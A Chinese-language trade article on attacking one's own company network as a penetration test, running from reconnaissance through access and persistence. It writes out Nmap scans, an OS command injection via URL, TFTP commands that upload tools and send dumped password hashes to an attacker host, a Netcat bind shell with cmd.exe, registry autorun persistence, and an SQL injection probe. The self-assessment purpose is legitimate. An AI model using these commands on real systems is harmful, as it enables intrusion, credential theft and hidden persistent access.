来源:TechTarget中国
许多企业雇佣外部公司执行渗透测试,但有些公司认为聘请外部公司本身就是一种风险,所以,为什么不攻击自己的网络去看看哪里有漏洞呢?
如何开始
你不妨像黑客一样思考,如何找到企业系统中的漏洞,并有效地揭示这些漏洞.时到今日,破坏一个网络或信息系统的基本过程并没有太多变化。这些步骤基本说来就是:
1、执行侦察
2、扫描和枚举
3、获得访问权
4、提升特权
5:维持访问并掩盖踪迹
有多种免费和收费的工具可以有效地攻击你的网络。你可能希望使用配备强大处理器和视频卡的专用硬件。至于操作系统,我们拥有Windows平台和Linux平台的好工具,但许多好工具并非跨平台的。
快速搭建并运行一台“攻击机”的一种方法是安装一个称为BackTrack的Linux发行版。该版本预安装了许多工具,对于快速渗透测试很有用处。在你准备好一个渗透测试系统后,就可以尝试攻击自己的网络了。
执行侦察
你可以对公司的网络执行许多被动攻击。更有趣的是这些方法并不要求特定的黑客工具,也就是说,对损害公司感兴趣的人并不需要亲自发送数据包到你的网络上。
事实上,最有效的黑客工具就是“谷歌”。黑客们使用谷歌执行搜索,查找网络漏洞。让我们从一个简单的谷歌搜索开始,让我们假定贵公司的网站名称为abc.com。
例如在谷歌的搜索框中输入:site:abc.com pdf
该搜索会显示出驻存在贵公司网站上的所有pdf文件,搜索结果可能会令你大吃一惊。不妨再试几个:
site: abc.com private(私密)
site: abc.com confidential(机密)
site: abc.com “log in”
site: abc.com error(错误)
最后这个error(错误)常被人忽视。攻击者常使用error(错误)来找到错误配置和网站中的弱点。因而,你也应当这样做。再一个例子, inurl: abc(贵公司的名称)。此时的搜索会确认贵公司的名称出现在URL中的所有实例。你可能很容易就找到以前并不注意的网站。
同样,你还可以执行非授权DNS查询,看看能否从DNS服务器执行一次区域传送。区域传送是DNS所记录节点的一种简单记录。你可能已经锁定一些主机,这些主机并不响应扫描或ping操作,但可能会列示在你的DNS区域中。你应当特别注意不希望让攻击者看到的服务器,如FTP服务器。
为了实施主动侦察,应当对网络实施安全扫描。如果你希望进行再次检查,不妨启动Nmap并指向公司网络的IP地址。下面列示的是其使用实例:
nmap –v 123.123.123.123
nmap –T4 –A –v 123.123.123.1-255
nmap –sS –O abc.com /24(此处的abc.com表示贵公司的域名)
扫描与枚举
在很多情况下,作为协商过程的一部分,SMB(服务器信息块)等协议也会泄露信息。所以,使用Nmap等网络安全扫描工具非常重要。通过使用Nmap脚本,你可以极大地扩展该工具的实用性。事实上,Nmap十分灵活,安全人员花点儿时间学习其脚本引擎(NSE)是十分必要的。
在运行Nmap进行内部攻击时,有时会得到很有趣的结果,如下图所示:
可以看出,服务器上有几个共享,甚至还有一个已经登录的用户账户。这些信息对于黑客很有价值,因为这些共享包含漏洞,而且管理员账户也没有锁定。这意味着黑客可以轻易地使用强力攻击来对付管理员账户。
从上图我们还可以看出,该机器的操作系统有可能是XP,并且已经打开了SMB。通过利用谷歌搜索得知,xp在445端口上有好几个漏洞。
使用更高级的工具,可以得到关于漏洞的更多细节。例如,著名的商业安全软件Nessus可以很有效地检查漏洞:
获得访问权
现在可以决定是否对SMB服务器进行有效攻击了。远程利用某种有漏洞服务的一个常用工具是Metasploit,这是一个开源的灵活且易于使用的漏洞利用框架。
与Nessus很相似,Metasploit拥有Web界面和一个支持用户选择目标或网络的向导。安全评估者可以跳过向导,开始远程利用SMB服务器的漏洞,然后,你会看到一个在远程机器上的命令提示符,而这正是黑客的最爱。在“自攻”期间,真希望你的系统不会达到这一步。
记住,不管是出于什么目的和意图,任何服务或端口都可能存在足以破坏主机的漏洞。你应当检查扫描报告中发现的所有问题,并不断地重复这些步骤直至检查完每一个项目。
例如,扫描报告出现这样的内容:
2869/tcp - http Microsoft HTTP API httpd 1.0 (SSDP/UPnP)
虽然Nmap可能无法获得哪些程序正在运行的信息,但这儿需要注意的关键字母是“API”,即“应用编程接口”。因而,我们几乎可以肯定:这里有一个通过Windows的HTTP服务而起作用的特定应用程序。
定制的应用程序带来了特殊困难,因为并没有哪种特定工具可以攻击这种程序。在这儿,不妨考虑一下Fuzzing这种软件测试技术,它一般是自动化或半自动化的,能够将非法的、非正常的或随机数据提交给某个计算机程序的输入。然后,监视该程序的例外情况,如崩溃或无法实现内建的代码功能,或者查找潜在的内存泄露等。Fuzzing确实重视定制的应用或不寻常的程序实现。
还有,请求访问http://123.123.123.123:2869返回了一个404“not found(未发现)”的错误。这就表明,有可能存在我们可以访问的目录或命令,而这正是JBroFuzz显示身手的地方。
使用JBroFuzz,你可以通过任何方法攻击一个特定的应用程序,其中包括用户代理字符串(用来辨别浏览器版本以及向用户所访问的网站服务器提供某些系统信息的细节)、方法,以及get和post变量等。在很多情况下,这不是一个能否攻破目标的问题,而是什么时候攻破的问题。并非所有的错误或例外都会导致远程的漏洞利用,但评估人员应当仔细检查任何问题,以便于发现风险。本文的测试涉及到HTTP,但许多协议都足以导致攻击网络服务和本地服务。如果你需要更多的灵活性,不妨考虑Peachfuzzer。
在本文的测试中,作者发现了这个URL:
http://123.123.123.123:2869/cmd=echo%20%22log%20entry%20%251%22%20%3E%20ap p.log%20
如果我们使用一个WebScarab或JBroFuzz编码器之类的工具来解码这个URL,就可以看出,“cmd”变成了“log entry%1”>app.log
这里看起来是通过操作系统的命令行将消息发送给app.log文件,从而建立一个日志文件,也就是说,Web服务器的服务正在调用文件系统。这种类型的直接访问可以创建某些漏洞扫描器可能遗漏的漏洞利用条件。
这也会给攻击者提供了机会,但首先还得解决其它问题。有多数情况下,Web并不会以管理员特权的方式来运行。不管你如何获得系统的访问权,都可使用这些命令。这些命令仅要求你能够访问命令解释器。
>test命令可以验证我们的攻击是否提供反馈(例如,并不把test当作内部或外部命令、可操作的程序或批处理文件)。
如果我们得到错误消息,就会从攻击中获得结果。
在我们的Web攻击中,我们可以简单地在浏览器地址栏中输入:http://123.123.123.123:2869/?cmd=test
这会导致浏览器返回一个错误。否则,就意味着我们不会得到实时反馈。
下一步的测试是查看我们是谁:
http:// 123.123.123.123:2869/?cmd=whoami
此时的响应会告诉我们用户账户的名称,即Web服务的运行账户。现在,我们看看组成员身份是什么:
http:// 123.123.123.123:2869/?cmd=net user
这时的响应与下图类似:
可以看出,此时并没有以管理员身份运行,这会给黑客带来问题。事实上,在黑客获得了系统访问后,特权提升几乎总会成为攻击者的首要目标。攻击者可通过多种方法实现此目标,其中包括暴力破解管理员账户。有时,攻击者可能会利用操作系统或已安装软件中的本地漏洞来扩大访问权。
在此例中,我们(攻击者)拥有了操作系统的命令访问权,而且我们也可以访问文件系统。因而,我们可以通过迂回战术来获得管理员账户。为有效地占领主机(包括攻克管理员账户),需要做点儿准备工作。
首先,我们建立一个TFTP(简单文件传输协议)服务器。当然,这项工作很简单,网上的教程有很多,在此不赘述。然后,下载下面的几种工具,并将其放到TFTP的根文件夹中:
Netcat:黑客工具的瑞士军刀;Gsecdump,允许用户从SAM(安全账户管理器)数据库中析取口令哈希。使用操作系统命令行漏洞,我们将工具下载到目标机器中:http://123.123.123.123:2869/?cmd=tftp attackercomputer.com GET *
使用Gsecdump,可以从系统中析取哈希,并导入到一个可发送给攻击者机器的文本文件中。http://123.123.123.123:2869/?cmd= gsecdumpv2b5.exe –a > hashes.txt
http://123.123.123.123:2869/?cmd=tftp attackyourcomputer.com PUT hashes.txt hashes.txt
现在,我们需要做的是破解哈希并得到口令。
回到攻击电脑上,我们可以在Windows下安装Cain & Abel 或在Linux上安装John the Ripper。
在使用Cain&Abel的测试中,我们可以轻松地导入文本文件,并可以实施强力攻击或字典攻击。(强力攻击尝试每一个字符组合,而字典攻击必须拥有一个包含单词或单词变体的文件。)我们还可以使用预编译强力攻击和字典攻击的彩虹表。当然,每种方法都有其好处和缺点,而你应当首先尝试字典攻击,因为其速度很快。但这种攻击不太全面。
有时,要破解一个口令可能需要几天或几星期的时间。如果一个口令使用了复杂规则,那么,你可能毕生也无法破解。
保持访问并掩饰痕迹
在攻击者可以访问系统后,他们必须保持访问。其部分任务就是要掩饰其踪迹,这样就没有人知道他们已经来过。
还记得我们下载Netcat的时候吗?Netcat极其灵活,可谓短小精悍,易于隐藏。Netcat可以对网络实施许多操作,其中包括打开一个指向可执行文件的监听器。它可以打开一个选择端口,以便于在任何时间都可以访问系统。
C:\user\>nc –l –p 6450 –e cmd.exe
现在,你需要做的是Telnet进入此端口,你将会得到一个拥有特权的命令行(与启动Netcat时所使用的特权相同)。如果你希望悄悄地测试你的服务器管理员,可以将此命令放到注册表中,使它在服务器每次启动时都能够自动运行。
当攻击者在不同系统间转移时,Netcat很有用。攻击者可以越来越深入地探察进入DMZ层,而且有可能进入网络。在每个系统上运行Netcat可以保证攻击者能够全身而退。
特别注意Web应用
企业的Web应用常常受黑客的极大关注,因为公司网站面对的是互联网。由于公司常常提供对客户数据、信用卡、付款数据甚至机密的公司信息的访问。
幸运的是,你可以使用开源市场上的许多伟大工具来攻击自己的Web 应用。
在你将w3af指向Web应用程序时,Web应用程序自己将放弃信息。W3af是一个强大的工具,可以发现并利用Web应用程序的漏洞。它是模块化的,所以你可以接受现有的模板,或者手工构建自己的模板,选择你想发动的攻击。
最常见的严重漏洞往往涉及到代码的注入。检查这种问题一个简单方法是,把一个不希望接收的字符放到那个发送至Web服务器的字段中。
例如:www.attackyourself.com/yourpage.php?id=0
在此例中,ID参数要求是0或其它数字。如果我们把一个撇号(’)放在这个位置,即www.attackyourself.com/yourpage.php?id=’,这个操作的回应看起来往往类似于下面这个样子:
Microsoft OLE DB Provider for ODBC Drivers
error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL
Server]Unclosed quotation mark before the
character string ''.
/page/page.php, line 144
在侦察过程中, 本文通过谷歌搜索了相关错误消息。此例中的错误是SQL注入攻击的一个先兆,由此可以攻击损害两个服务器(Web服务器和数据库服务器)及其上面的任何数据。
攻击自己的Web服务器的另一个好方法是使用自己的浏览器发送请求,并通过一台本地代理服务器来读取响应。一般说来,上述操作会得到一个详细描述攻击者和Web应用程序之间所有往返信息的视图。在查找漏洞时,这种描述很有用。WebScarab和Burp Suite是两种常见的本地代理服务器。
|